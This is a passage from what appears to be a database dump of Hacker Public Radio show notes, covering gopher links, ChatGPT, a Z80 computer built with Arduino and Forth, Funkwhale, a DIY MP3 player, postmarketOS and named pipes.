floodgap<br />\n<a href=\"https://gopher.floodgap.com/gopher/\"\nclass=\"uri\">https://gopher.floodgap.com/gopher/</a></p></li>\n<li><p>Cool gophers:</p>\n<ul>\n<li>gopher://tilde.institute/1/~screwtape/</li>\n<li>gopher://gopher.club/1/users/nm03</li>\n<li>gopher://linkerror.com</li>\n<li>gopher://gopher.black</li>\n<li>gopher://i-logout.cz/1/bongusta</li>\n</ul></li>\n<li><p>(Very) Advanced! Self-hosting tls gopher:<br />\ngophernicus (+ reference to stunnel4)<br />\n<a href=\"https://github.com/gophernicus/gophernicus\"\nclass=\"uri\">https://github.com/gophernicus/gophernicus</a></p></li>\n</ul>\n',416,0,0,'CC-BY-SA','gopher,protocol,smolnet,tutorial,introduction,internet,retro',0,0,1),
(3803,'2023-03-01','Chatbot hallucination',407,'The inevitable show featuring a segment written by the chatbot ChatGPT.','<p>A simple case of \"garbage in, garbage out\", but it\'s interesting to\nsee it \"try\" to make sense.</p>\n<p>In this show, I asked ChatGPT to write me the script for an episode\nof Hacker Public Radio, and tried to confuse it. Then, some thoughts on\nchatGPT and these chatbots in general.</p>\n<h2 id=\"references\">References:</h2>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/ChatGPT#Limitations\"\nclass=\"uri\">https://en.wikipedia.org/wiki/ChatGPT#Limitations</a></li>\n<li><a href=\"https://spectrum.ieee.org/magnus-carlsen-chess-scandal-ai\"\nclass=\"uri\">https://spectrum.ieee.org/magnus-carlsen-chess-scandal-ai</a></li>\n<li><a\nhref=\"https://help.openai.com/en/articles/6783457-chatgpt-general-faq\"\nclass=\"uri\">https://help.openai.com/en/articles/6783457-chatgpt-general-faq</a></li>\n</ul>\n',399,0,1,'CC-BY-SA','chatgpt,\"artificial intelligence\"',0,0,1),
(3805,'2023-03-03','Document File Formats on Wikipedia',736,'Document File Format - a continuation of Content Format','<p><em><em>Document File Format - a continuation of Content\nFormat</em></em></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Document_file_format\"\ntitle=\"Wikipedia - Document File Formats\">Wikipedia - Document File\nFormats</a></p>\n<p><em><em>Creators of Markdown</em></em></p>\n<p><a href=\"https://en.wikipedia.org/wiki/John_Gruber\"\ntitle=\"Wikipedia - John Gruber\">Wikipedia - John Gruber</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Aaron_Swartz\"\ntitle=\"Wikipedia - Aaron Swartz\">Wikipedia - Aaron Swartz</a></p>\n',318,0,0,'CC-BY-SA','Documents, Formats',0,0,1),
(3807,'2023-03-07','PeePaw builds a computer',2040,'Brian starts the process of building an 8 bit retro computer','<ol type=\"1\">\n<li>intro\n<ul>\n<li>who is peepaw?<br />\nMe!</li>\n<li>why a retro computer?<br />\nhelp a kid understand computers</li>\n<li>why z80?<br />\ncheap, available, cheap</li>\n</ul></li>\n<li>the plan\n<ul>\n<li>build from scratch</li>\n<li>build something like a tec1<br />\n<a href=\"https://en.wikipedia.org/wiki/TEC-1\"\nclass=\"uri\">https://en.wikipedia.org/wiki/TEC-1</a></li>\n<li>a great guide is the 1981 book build your own z80 computer<br />\n<a\nhref=\"https://archive.org/details/BuildYourOwnZ80ComputerSteveCiarcia\">Build\nYour Own Z80 Computer Steve Ciarcia/</a></li>\n<li>get started with nop tester<br />\n<a href=\"http://www.z80.info/z80test0.htm\"\nclass=\"uri\">http://www.z80.info/z80test0.htm</a></li>\n<li>want an expandable system</li>\n<li>keep the cost down</li>\n<li>work up to a system like the jupiter ace (which is like a zx-81\nsinclair computer)<br />\n<a href=\"https://en.wikipedia.org/wiki/Jupiter_Ace\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Jupiter_Ace</a></li>\n</ul></li>\n<li>getting started, the nop test\n<ul>\n<li>use an arduino mega board and some forth to spin up the most basic\nz80 system<br />\n<a\nhref=\"https://gitlab.com/8bitforce/retroshield-hw/-/tree/master/hardware\"\nclass=\"uri\">https://gitlab.com/8bitforce/retroshield-hw/-/tree/master/hardware</a></li>\n<li>give the z80 5 volts, a clock and the right data and it will happily\nstart up and run through its address space doing nothing</li>\n</ul></li>\n<li>the nop tester, in software\n<ul>\n<li>make a forth logic probe<br />\n<a href=\"https://en.wikipedia.org/wiki/Logic_probe\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Logic_probe</a></li>\n<li>use a gate method of frequency counting<br />\n<a href=\"https://ww1.microchip.com/downloads/en/Appnotes/doc8365.pdf\"\nclass=\"uri\">https://ww1.microchip.com/downloads/en/Appnotes/doc8365.pdf</a></li>\n<li>create a few forth words to make a \"logic probe\" and test that\nprobe<br />\n<a\nhref=\"https://pajacobs-ghub.github.io/flashforth/ff5-tutorial-guide.html#_counting_button_presses\"\nclass=\"uri\">https://pajacobs-ghub.github.io/flashforth/ff5-tutorial-guide.html#_counting_button_presses</a></li>\n<li>need an arduino mega running flashforth<br />\n<a href=\"https://store.arduino.cc/products/arduino-mega-2560-rev3\"\nclass=\"uri\">https://store.arduino.cc/products/arduino-mega-2560-rev3</a><br />\n<a href=\"https://flashforth.com/atmega.html\"\nclass=\"uri\">https://flashforth.com/atmega.html</a></li>\n<li>datasheet<br />\n<a href=\"https://store.arduino.cc/products/arduino-mega-2560-rev3\"\nclass=\"uri\">https://store.arduino.cc/products/arduino-mega-2560-rev3</a><br />\n<a\nhref=\"https://ww1.microchip.com/downloads/en/devicedoc/atmel-2549-8-bit-avr-microcontroller-atmega640-1280-1281-2560-2561_datasheet.pdf\"\nclass=\"uri\">https://ww1.microchip.com/downloads/en/devicedoc/atmel-2549-8-bit-avr-microcontroller-atmega640-1280-1281-2560-2561_datasheet.pdf</a></li>\n<li>some jumper wires</li>\n<li>z80</li>\n<li>solderless bread board</li>\n</ul></li>\n<li>the code walk through, start from the bottom up note: ( -- ) are\nstack effect comments, back slashes are plain comments\n<ul>\n<li>constants</li>\n<li>variable</li>\n<li><code>@ ! mset mclr mtst</code></li>\n<li>set up external interrupt, int4, arduino board pin4</li>\n</ul></li>\n</ol>\n<pre><code>\\ the source code\n\\ declare some constants and variable as labels\nvariable Compare\nvariable Count\n\n$100 constant PINH      \\ these labels come from the atmega2560 datasheet\n$101 constant DDRH\n$102 constant PORTH\n$a0 constant TCCR4A\n$a1 constant TCCR4B\n$a8 constant OCR4A\n$2c constant PINE\n$2d constant DDRE\n$2e constant PORTE\n$6a constant EICRB\n$3d constant EIMSK\n\n: ext4.irq ( -- ) Count @ 1+ Count ! ;i  \\ the frequency counter\n\n: logicprobe-init ( -- )\n    1249 Compare ! \\ 100 hz\n    %0000.1000 DDRH mset \\ h3 output\n    %0100.0000 TCCR4A c!  \\ toggle d6, ph3 on compare match\n    0000.1011 %TCCR4B c!  \\ set ctc mode, clk/64\n    Compare @ OCR4A !  \\ set compare value\n    %0 DDRE c! \\ e input\n    0001.0000 PORTE mset \\ pullup on e4\n    %0000.0010 %EICRB mset \\ falling edge\n    [&#39;] ext4.irq #6 int!\n;\n\n\\ helper words\n\n: start-clock ( -- )  %0100.0000 TCCR4A c! %0000.1011 TCCR4B c! ;    \\ the bit manipulation does what the word says\n: stop-clock ( -- )   %0000.0000 TCCR4A c!  %0000.0000 TCCR4B c! ;\n: set-frequency ( n -- )  OCR4A ! ;    \\ set compare value\n: pin-high ( -- )  %0000.1000 PORTH mset ;\n: pin-low ( -- )    %0000.1000 PORTH mclr ;\n: open-gate ( -- )   0 Count ! %0001.0000 EIMSK mset ;\n: close-gate ( -- )   %0001.0000 EIMSK mclr ;\n\n: process-data ( -- )\n  Count @ 1- Count !       \\ clean up value in Count\n  Count @ dup 0 &gt; if       \\ is Count greater than 0, if so its pulsing\n     cr .&quot; freq=&quot; 10 * .\n  else                     \\ otherwise its not so is it high or low?\n      drop\n      %0000.1000 PINH mtst\n      if\n         .&quot; high&quot;\n       else\n          .&quot; low&quot;\n      then then\n ;\n\n : wait ( -- ) 100 ms ;\n\n : sample-pin ( -- ) open-gate wait close-gate process-data ;  \\ the &#39;logic probe&#39;</code></pre>\n<ol start=\"6\" type=\"1\">\n<li><p>test<br />\n<em>Arduino</em><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3807/setup.jpg\"\nalt=\"Arduino\" /></p>\n<ul>\n<li>clock, using 16 bit timer4, its output is on pin6, running at\n100hz</li>\n<li>need to be able to start and stop the clock, and set the output pin\nhigh or low</li>\n<li>sample-pin is the word that does the work</li>\n<li>ouput from the serial terminal exercising the logic probe ( comments\nadd after the fact):</li>\n</ul>\n<pre><code>E FlashForth 5 ATmega2560 13.06.2022\n\nok&lt;#,ram&gt;\nlogicprobe-init ok&lt;#,ram&gt;    (start up the logic probe)\nsample-pin                   (sample the pin)\nfreq=100 ok&lt;#,ram&gt;           ( its oscilating at 100hz)\nstop-clock ok&lt;#,ram&gt;\nsample-pin low ok&lt;#,ram&gt;     ( after stopping the clock the pin is low)\npin-high ok&lt;#,ram&gt;\nsample-pin\nhigh ok&lt;#,ram&gt;               ( now its high)\n125 set-frequency ok&lt;#,ram&gt;\nstart-clock ok&lt;#,ram&gt;\nsample-pin\nfreq=1000 ok&lt;#,ram&gt;          ( after changing the frequency its 1000hz)</code></pre></li>\n<li><p>next time</p>\n<ul>\n<li>repurpose the 16bit clock and use it to drive the z80, we\'ll hook up\nthe data port of the z80 to the arduino mega and use the logic probe to\nsee if the z80 is working</li>\n</ul></li>\n</ol>\n',326,0,0,'CC-BY-SA','retro computing, forth, arduino',0,0,1),
(3808,'2023-03-08','Funkwhale A social platform to enjoy and share music',3650,'Ken interviews Ciarán Ainsworth about Funkwhale that lets you listen and share music and audio','<p>Funkwhale is a community-driven project that lets you listen and\r\nshare music and audio within a decentralized, open network</p>\r\n<ul>\r\n<li><a href=\"https://funkwhale.audio/\">https://funkwhale.audio/</a></li>\r\n<li><a\r\nhref=\"https://funkwhale.audio/en_US/faqs\">https://funkwhale.audio/en_US/faqs</a></li>\r\n<li><a\r\nhref=\"https://funkwhale.audio/en_US/apps/\">https://funkwhale.audio/en_US/apps/</a></li>\r\n<li><a\r\nhref=\"https://en.wikipedia.org/wiki/Grooveshark\">https://en.wikipedia.org/wiki/Grooveshark</a></li>\r\n<li><a href=\"https://vuejs.org/\">https://vuejs.org/</a></li>\r\n<li><a href=\"https://musicbrainz.org/\">https://musicbrainz.org/</a></li>\r\n<li><a\r\nhref=\"https://picard.musicbrainz.org/\">https://picard.musicbrainz.org/</a></li>\r\n<li><a\r\nhref=\"https://www.subsonic.org/pages/index.jsp\">https://www.subsonic.org/pages/index.jsp</a></li>\r\n<li><a href=\"https://open.audio/\">https://open.audio/</a></li>\r\n<li><a\r\nhref=\"https://www.castopod.com/en\">https://www.castopod.com/en</a></li>\r\n<li><a href=\"https://tanukitunes.com\">https://tanukitunes.com</a></li>\r\n<li><a href=\"https://castopod.org/\">https://castopod.org/</a></li>\r\n<li><a\r\nhref=\"https://fosstodon.org/@funkwhale\">https://fosstodon.org/@funkwhale</a></li>\r\n<li><a\r\nhref=\"https://blog.funkwhale.audio\">https://blog.funkwhale.audio</a></li>\r\n<li><a href=\"https://dev.funkwhale.audio/funkwhale/funkwhale\">https://dev.funkwhale.audio/funkwhale/funkwhale</a>\r\n</ul>\r\n',30,0,0,'CC-BY-SA','funkwhale,Grooveshark,iTunes,vue,musicbrainz,picard,subsonic,castopod',0,0,1),
(3809,'2023-03-09','The Abominable Post Apocalyptic Podcast Player',1194,'Build a Three Dollar MP3 player in One Hour','<p>Notes: Forgot to mention that I hot glued the top lid (original lid\nfor the \'speaker box\'), on top of the boards. I had used the device with\nthe top uncovered for a month because I hoped I would find a better\nchoice but after getting tired of the wires detaching and worrying about\nthe sdcard slot getting wrecked I decided to commit to glueing the lid\non.</p>\n<p>The boards are very robust, I dropped them in the snow a few times.\nThey would stop working but after drying off would function.</p>\n<p>I didn\'t find the datasheet with the resistance values for other\nvalues until after I glued the lid so will have to open it up again or\nget into one of the switch lines and do resistor combinations... now\nthat I know more I think I should be able to control the mp3 player with\none analog output pin from the arduino for all the functions, since it\nseems the pin 8 that all the switch resistors lead to detects voltage\nlevels from the voltage divider created when one of the switches goes to\nground.</p>\n<p>The robot is using 4 lines right now for mp3 control. Would be cool\nif I could free up 3 more but I don\'t remember if any of them are\noccupying an analogue slot.</p>\n<p>No power button! None needed. Pause and unpause via momentary switch.\nThe charger board can charge from micro usb or usb-c and will protect\nyour 18650 cell from running flat and damaging itself.</p>\n<p>Check out my robots: <a\nhref=\"https://bitchute.com/channel/mechatroniac\"\nclass=\"uri\">https://bitchute.com/channel/mechatroniac</a></p>\n<p>Post Apocalyptic Robotics Database Entry:<br />\nHH000000000<br />\nH Hybrid: Denotes some prepurchased or hard to find components<br />\nH Human use: For use by biological humans</p>\n<p>Tools and supplies</p>\n<ul>\n<li>multimeter - not strictly required but highly recommended</li>\n<li>Soldering iron</li>\n<li>solder(thinner solder wire works better for electronics)</li>\n<li>wire stripper</li>\n<li>hot glue gun</li>\n<li>electric or duct tape</li>\n<li>side cutters/cutting pliers/aircraft snips</li>\n</ul>\n<p>Buy:</p>\n<ul>\n<li><p>1s 18650 charger board<br />\n<a href=\"https://www.aliexpress.us/item/2251832744326141.html\"\nclass=\"uri\">https://www.aliexpress.us/item/2251832744326141.html</a></p></li>\n<li><p>GPD2846A TF Card MP3 Decoder Board 2W Amplifier<br />\n<a href=\"https://www.aliexpress.com/item/4000188516180.html\"\nclass=\"uri\">https://www.aliexpress.com/item/4000188516180.html</a><br />\n<a href=\"https://www.aliexpress.com/item/32968306923.html\"\nclass=\"uri\">https://www.aliexpress.com/item/32968306923.html</a></p></li>\n</ul>\n<p>Find or Buy:</p>\n<ul>\n<li><p>short lengths of wire</p></li>\n<li><p>4 ohm speaker (can be found in old tvs)</p></li>\n<li><p>momentary switches(3) - can be found in vcrs, tvs, dvd\nplayers...</p></li>\n<li><p>18650 cell</p></li>\n<li><p>3.5g weed jar or similar + lid</p></li>\n<li><p>larger lid</p></li>\n</ul>\n<p>(optional)<br />\nYou should consider getting an arduino or a kit</p>\n<ul>\n<li><p>Keyestudio Basic Starter Kit V2.0 With UNO R3 Board Or Mega 2560\nR3 Board<br />\n<a href=\"https://www.aliexpress.com/item/1005004961819902.html\"\nclass=\"uri\">https://www.aliexpress.com/item/1005004961819902.html</a></p></li>\n<li><p>GPD2846A datasheet<br />\n<a\nhref=\"https://pdf1.alldatasheet.com/datasheet-pdf/view/1132627/ETC2/GPD2846A.html\"\nclass=\"uri\">https://pdf1.alldatasheet.com/datasheet-pdf/view/1132627/ETC2/GPD2846A.html</a><br />\n<a\nhref=\"https://datasheetspdf.com/pdf-file/949393/Generalplus/GPD2846/1\"\nclass=\"uri\">https://datasheetspdf.com/pdf-file/949393/Generalplus/GPD2846/1</a></p></li>\n</ul>\n<p><em>Picture 1 - shows the slit in the lid where the sdcard resides. Sdcard and slot are protected from being bumped by the strategically placed, glued lid</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3809/IMG_20230221_121827127.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3809/IMG_20230221_121827127_thumbnail.jpg\"\nalt=\"Picture 1\" /></a> <br/><small><small><em>Click the thumbnail to see\nthe full-sized image</em></small></small></p>\n<p><em>Picture 2 - shows charging, microusb cord is coming in from the bottom, LED on charging board illuminates brightly</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3809/IMG_20230219_180706268.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3809/IMG_20230219_180706268_thumbnail.jpg\"\nalt=\"Picture 2\" /></a> <br/><small><small><em>Click the thumbnail to see\nthe full-sized image</em></small></small></p>\n<p><em>Picture 3 - shows both boards glued to bottom lid, with the top lid off</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3809/IMG_20230212_140602078.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3809/IMG_20230212_140602078_thumbnail.jpg\"\nalt=\"Picture 3\" /></a> <br/><small><small><em>Click the thumbnail to see\nthe full-sized image</em></small></small></p>\n<p><em>Picture 4</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3809/mp3player.png\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3809/mp3player_thumbnail.png\"\nalt=\"Picture 4\" /></a> <br/><small><small><em>Click the thumbnail to see\nthe full-sized image</em></small></small></p>\n',401,91,1,'CC-BY-SA','robotics, mp3, GPD2846A, GPD2846, DIY, arduino ',0,0,1),
(3813,'2023-03-15','The postmarketOS Podcast',1893,'Ken welcomes a new podcast to the Free Culture Podcast family','<h1 id=\"postmarketos-podcast\">postmarketOS Podcast</h1>\r\n<ul>\r\n<li>Website: <a href=\"https://cast.postmarketos.org/\"\r\nclass=\"uri\">https://cast.postmarketos.org/</a></li>\r\n<li>Feed: <a href=\"https://cast.postmarketos.org/feed.rss\"\r\nclass=\"uri\">https://cast.postmarketos.org/feed.rss</a></li>\r\n<li>Copyright: Creative Commons Attribution-ShareAlike 4.0 International\r\n(CC BY-SA 4.0) License</li>\r\n<li><a href=\"https://cast.postmarketos.org/episode/28-FOSDEM-2023-special/\">https://cast.postmarketos.org/episode/28-FOSDEM-2023-special/</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<h1>#28 FOSDEM 2023 Special</h1>\r\n\r\n<p>Between the Saturday closing of FOSDEM 2023 and going to a restaurant, we\r\nmanaged to squeeze around a table outside the cafeteria to record the very\r\nfirst ever in-person postmarketOS podcast episode! Fresh in the moment we share\r\nour experiences from the FOSS on mobile devroom, meeting great people at the\r\nLinux on Mobile stand (and everywhere else at FOSDEM/in Brussels) and random\r\nother cool things that were going down.</p>\r\n<p>Featuring @spaetz (sampled in the intro), @ollieparanoid, @linmob, @craftyguy,\r\n@MartijnBraam, @calebccff, @PureTryOut, @z3ntu (in order of appearance).</p>\r\n<p>Photos:</p>\r\n<ul>\r\n<li>@calebccff: <a href=\"https://fosstodon.org/@calebccff/109808038695004886\">\"recorded the first in person @postmarketOS podcast episode LIVE from #FOSDEM !\"</a></li>\r\n<li>@craftyguy: <a href=\"https://freeradical.zone/@craftyguy/109807524847524784\">\"#postmarketOS core team... Assemble!\"</a></li>\r\n<li>@awai: <a href=\"https://fosstodon.org/@awai/109812598426346120\">\"The beauty and diversity of the #LinuxOnMobile bazaar!\"</a></li>\r\n<li>@z3ntu: <a href=\"https://fosstodon.org/@z3ntu/109812602670785848\">\"The Linux on Mobile stand at #FOSDEM is pretty packed!\"</a></li>\r\n<li>@linmob: <a href=\"https://fosstodon.org/@linmob/109814654331788517\">\"#FOSDEM was really awesome, it only went by too quickly!\"</a></li>\r\n<li>@mntmn: <a href=\"https://mastodon.social/@mntmn/109808024287105873\">\"this was ~intense~! thanks to everyone who was interested in MNT Pocket Reform\"</a></li>\r\n</ul>\r\n<p>Video recordings of the talks:</p>\r\n<ul>\r\n<li><a href=\"https://spacepub.space/w/4caM2SQS2we81hyRuPrFPY\">Where do we go from here? (Audio fixup)</a><ul>\r\n<li>Matrix room: <a href=\"https://matrix.to/#/#fossmo-wg:matrix.org\">#fossmo-wg:matrix.org</a></li>\r\n</ul>\r\n</li>\r\n<li><a href=\"https://fosdem.org/2023/schedule/track/foss_on_mobile_devices/\">FOSS on mobile devices devroom</a> (as of writing, most talks have already been uploaded)</li>\r\n</ul>\r\n<p>PinePhone and Lima / Mesa:</p>\r\n<p>We\'re aware that\r\n<a href=\"https://gitlab.freedesktop.org/mesa/mesa/-/issues/8198\">mesa#8198</a>\r\nis still causing problems for people on the PinePhone. Big thanks to @enues\r\nfrom mesa who was talking to us at the stand and is now looking into it! We\r\nalso have issue\r\n<a href=\"https://gitlab.com/postmarketOS/pmaports/-/issues/805\">pmaports#805</a> about\r\nscreen freezes. If you are affected by this and would like to help out, firing\r\nup a profiler and making/contributing to detailed, useful bugreports upstream\r\nat mesa is appreciated.</p>\r\n<p>@spaetz from Mobian did a great job at moderating the devroom! (Correction:\r\nOllie said from Maemo instead of Mobian in the recording.)</p>\r\n<p><small>Editing by: @ollieparanoid,\r\nMusic by: <a href=\"http://www.thepassionhifi.com\">The Passion HiFi</a></small>\r\n<hr />\r\n',30,75,1,'CC-BY-SA','postmarketOS,Free Culture Podcast,FOSDEM',0,0,1),
(3811,'2023-03-13','mkfifo and named pipes',678,'Have you ever named a pipe? If not, this is the episode you\'ve been waiting for.','<p>A named pipe is like a UNIX pipe, except it takes the form of a file.</p>\n\n<pre><code>\n$ mkfifo mypipe\n$ echo \"Hacker Public Radio\" &#62; mypipe &#38;\n$ cat mypipe\nHacker Public Radio\n</code></pre>\n\n',78,42,0,'CC-BY-SA','pipe, fifo, mkfifo, Linux, shell',0,0,1),
(3812,'2023-03-14','PeePaw\'s computer does nothing',1527,'a z80 nop test','<p>peepaws computer does nothing</p>\n<ol type=\"1\">\n<li>who\'s peepaw, whats the goal\n<ul>\n<li>to build and understand the inner workings of an 8 bit computer and\nmaybe one day pass it on to a grand kid</li>\n</ul></li>\n<li>this episode -nop test\n<ul>\n<li>do a nop test, that is get the z80 up and running executing the nop\ninstruction</li>\n<li>using the facilities of an arduino mega board running flash forth to\ndo that, talk about pictures</li>\n<li>why? flash forth is interactive, without being such a big\napplication itself. Happily runs on an atmega328</li>\n<li>why the mega, oodles and oodles of io, so emulating hardware should\nbe a snap</li>\n<li>use the microcontroller board to provide 5 volts, clock signal and\ndata to get the z80 up and running</li>\n<li>use the logic probe to see if there is activity on the address\nbus</li>\n</ul></li>\n<li>wiring up\n<ul>\n<li>hot glued solderless breadboard on to an arduino mega protoshield,\nwhite wire is the logicprobe input</li>\n<li>power and ground first</li>\n<li>clock, blue</li>\n<li>control lines int, nmi, wait busrq and reset</li>\n<li>orange wires data bus</li>\n<li>address lines go around the chip clockwise from the clock signal\n(blue wire) we\'ll be probing A0, next to the ground line</li>\n</ul></li>\n</ol>\n<p><em>1.logicprobe.jpg</em><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3812/1.logicprobe.jpg\"\nalt=\"1.logicprobe.jpg\" /></p>\n<p><em>2.power.jpg</em><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3812/2.power.jpg\"\nalt=\"2.power.jpg\" /></p>\n<p><em>3.clock.jpg</em><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3812/3.clock.jpg\"\nalt=\"3.clock.jpg\" /></p>\n<p><em>4.control.signals.jpg</em><br />\n<img\nsrc=\"https://hackerpublicradio.org/eps/hpr3812/4.control.signals.jpg\"\nalt=\"4.control.signals.jpg\" /></p>\n<p><em>5.data.jpg</em><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3812/5.data.jpg\"\nalt=\"5.data.jpg\" /></p>\n<p><em>6.ready.to.probe.jpg</em><br />\n<img\nsrc=\"https://hackerpublicradio.org/eps/hpr3812/6.ready.to.probe.jpg\"\nalt=\"6.ready.to.probe.jpg\" /></p>\n<p><em>z80-pinout.jpg</em><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3812/z80-pinout.jpg\"\nalt=\"z80-pinout.jpg\" /></p>\n<p><em>2560-pinout.jpg</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3812/2560-pinout.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3812/2560-pinout_thumbnail.jpg\"\nalt=\"2560-pinout.jpg\" /></a> <br/><small><small><em>Click the thumbnail\nto see the full-sized image</em></small></small></p>\n<ol start=\"6\" type=\"1\">\n<li>fixing some words, refactoring some words, defining new words\n<ul>\n<li>fixed the data processing word to us the input on pin e4 (digital 2)\nnot the output on pin h6 (digital 9)</li>\n<li>changed freq= some value to simply pulse, not interested in the\nspecific frequency</li>\n<li>split clock and logic probe init words</li>\n<li>added some words to control the reset line reset and run</li>\n<li>added a word step that allows for single clock pulses</li>\n</ul></li>\n<li>the test, mega board plugged into laptop, seral terminal running\n<ul>\n<li>spool up the logic probe</li>\n<li>spool up the microcontroller board setting up a port to provide data\non the z80 data bus (rudimentary rom)</li>\n<li>add 5 volts</li>\n<li>initialize and start the clock</li>\n<li>probe the clock line</li>\n<li>probe a0 line</li>\n</ul></li>\n<li>a little more to see what else we can discern\n<ul>\n<li>single step to reset</li>\n<li>probe m1</li>\n<li>single step to reset</li>\n<li>add halt instruction</li>\n<li>probe halt line</li>\n</ul></li>\n<li>this is output captured from the tests run on the show. lines that\nbegin with a back slash are comments used as narration\n<code>ok&lt;#,ram&gt;</code> is the forth interpreter reporting it has\nsuccessfully processed the proceeding word(s), including comments pulse,\nhigh and low are output from the logicprobe, all other words are defined\nin the source text and the end of the notes</li>\n</ol>\n<pre><code>E FlashForth 5 ATmega2560 13.06.2022\n\n\\ initialize the logic probe  ok&lt;#,ram&gt;\nlogicprobe.init  ok&lt;#,ram&gt;\n\\ initialize the clock  ok&lt;#,ram&gt;\nclock.init  ok&lt;#,ram&gt;\n\\ initialize arduinomega ports that interact with z80  ok&lt;#,ram&gt;\nz80.ports.init  ok&lt;#,ram&gt;\n\\ add power on the board  ok&lt;#,ram&gt;\n\\ probe the clock pin to see if there is activity  ok&lt;#,ram&gt;\nsample\npulse ok&lt;#,ram&gt;\n\\ success!  ok&lt;#,ram&gt;\n\\ probe adrress line A0, pin 30 on the z80  ok&lt;#,ram&gt;\nsample\npulse ok&lt;#,ram&gt;\n\\ pulse means there is activity on the bus  ok&lt;#,ram&gt;\n\\ stop the clock and probe A0 again, should see either a static high or low\nsignal ok&lt;#,ram&gt;\nstop.clock sample\nlow ok&lt;#,ram&gt;\n\\ now move logic probe to pin 27, the M1 signal  ok&lt;#,ram&gt;\n\\ put the z80 in reset and give three clock steps  ok&lt;#,ram&gt;\nreset  ok&lt;#,ram&gt;\nstep  ok&lt;#,ram&gt;\nstep  ok&lt;#,ram&gt;\nstep  ok&lt;#,ram&gt;\n\\ the z80 should be reset, now put in run  ok&lt;#,ram&gt;\nrun  ok&lt;#,ram&gt;\n\\ now single step the clock to see the M1  ok&lt;#,ram&gt;\n\\ signal go from high to low as the z80 begins   ok&lt;#,ram&gt;\n\\ fetching data fro the data bus at address 0  ok&lt;#,ram&gt;\nstep sample\nhigh ok&lt;#,ram&gt;\nstep sample\nhigh ok&lt;#,ram&gt;\nstep sample\nlow ok&lt;#,ram&gt;\nstep sample\nlow ok&lt;#,ram&gt;\nstep sample\nhigh ok&lt;#,ram&gt;\n\\ success! the M1 signal is working as expected  ok&lt;#,ram&gt;\n\\ now reset the z80 and see what happens when  ok&lt;#,ram&gt;\n\\ we give a different instruction this time hex 76  ok&lt;#,ram&gt;\n\\ the halt instruction. We should see the halt signal go from   ok&lt;#,ram&gt;\n\\ high to low  ok&lt;#,ram&gt;\nreset step step step  ok&lt;#,ram&gt;\n\\ put hat instruction on data lines  ok&lt;#,ram&gt;\n$76 DATA c!  ok&lt;#,ram&gt;\n\\ now run mode  ok&lt;#,ram&gt;\nrun  ok&lt;#,ram&gt;\n\\ step clock and sample pin 18 the halt line  ok&lt;#,ram&gt;\nstep sample\nhigh ok&lt;#,ram&gt;\nstep sample\nhigh ok&lt;#,ram&gt;\nstep sample\nhigh ok&lt;#,ram&gt;\nstep sample\nhigh ok&lt;#,ram&gt;\nstep sample\nhigh ok&lt;#,ram&gt;\nstep sample\nlow ok&lt;#,ram&gt;\nstep sample\nlow ok&lt;#,ram&gt;\n\\ 4 clock cycles and halt line goes low and stays low, success!  ok&lt;#,ram&gt;\n\\ thanks for listening  ok&lt;#,ram&gt;</code></pre>\n<ol start=\"8\" type=\"1\">\n<li>Forth source code</li>\n</ol>\n<pre><code>-logicprobe\nmarker -logicprobe\n\nvariable Compare\nvariable Count\n\n$100 constant PINH\n$101 constant DDRH\n$102 constant PORTH\n\n$a0 constant TCCR4A\n$a1 constant TCCR4B\n$a8 constant OCR4A\n\n$2c constant PINE\n$2d constant DDRE\n$2e constant PORTE\n\n$6a constant EICRB\n$3d constant EIMSK\n\n: ext4.irq ( -- ) Count @ 1+ Count ! ;i\n\n: logicprobe.init ( -- )\n  %0 DDRE c! \\ e input\n  %0000.0010 EICRB mset \\ falling edge\n  [&#39;] ext4.irq #6 int! \\ attach interrupt\n;\n\n: clock.init ( -- )\n  1249 Compare ! \\ 100 hz\n  %0000.1000 DDRH mset \\ h3 output\n  %0100.0000 TCCR4A c!  \\ toggle d6, ph3 on compare match\n  %0000.1011 TCCR4B c!  \\ set ctc mode, clk/64\n  Compare @ OCR4A !    \\ set compare value\n;\n\n\\ helper words\n: start.clock ( -- )  %0100.0000 TCCR4A c! %0000.1011 TCCR4B c! ;\n: stop.clock ( -- )   %0000.0000 TCCR4A c!  %0000.0000 TCCR4B c! ;\n: set.frequency ( n -- )  OCR4A ! ;    \\ set compare value\n: pin.high ( -- )  %0000.1000 PORTH mset ;\n: pin.low ( -- )    %0000.1000 PORTH mclr ;\n: open.gate ( -- )   0 Count ! %0001.0000 EIMSK mset ;\n: close.gate ( -- )   %0001.0000 EIMSK mclr ;\n\n: process.data ( -- )\n  Count @ 1-\n  Count !\n  Count @ 0 &gt; if\n    \\ cr .&quot; freq=&quot; 10 * .\n    cr .&quot; pulse&quot;\n  else\n    %0001.0000 PINE mtst if\n      cr .&quot; high&quot;\n    else\n      cr .&quot; low&quot;\n    then then\n;\n\n: wait 100 ms ;\n\n: sample ( -- ) open.gate wait close.gate process.data ;\n\n\\ nop tester\n-nop\nmarker -nop\n\n$20 constant PINA\n$21 constant DDR.DATA\n$22 constant DATA\n\n$23 constant PINB\n$24 constant DDRB\n$25 constant PORTB\n\n$2f constant PINF\n$30 constant DDRF\n$31 constant PORTF\n\n%0000.0001 constant WAIT\n%0000.0010 constant BUSRQ\n%0000.0100 constant RESET\n%0001.0000 constant INT\n%0010.0000 constant NMI\n\n: z80.ports.init ( -- )\n  \\ data port output\n  $ff DDR.DATA c!\n  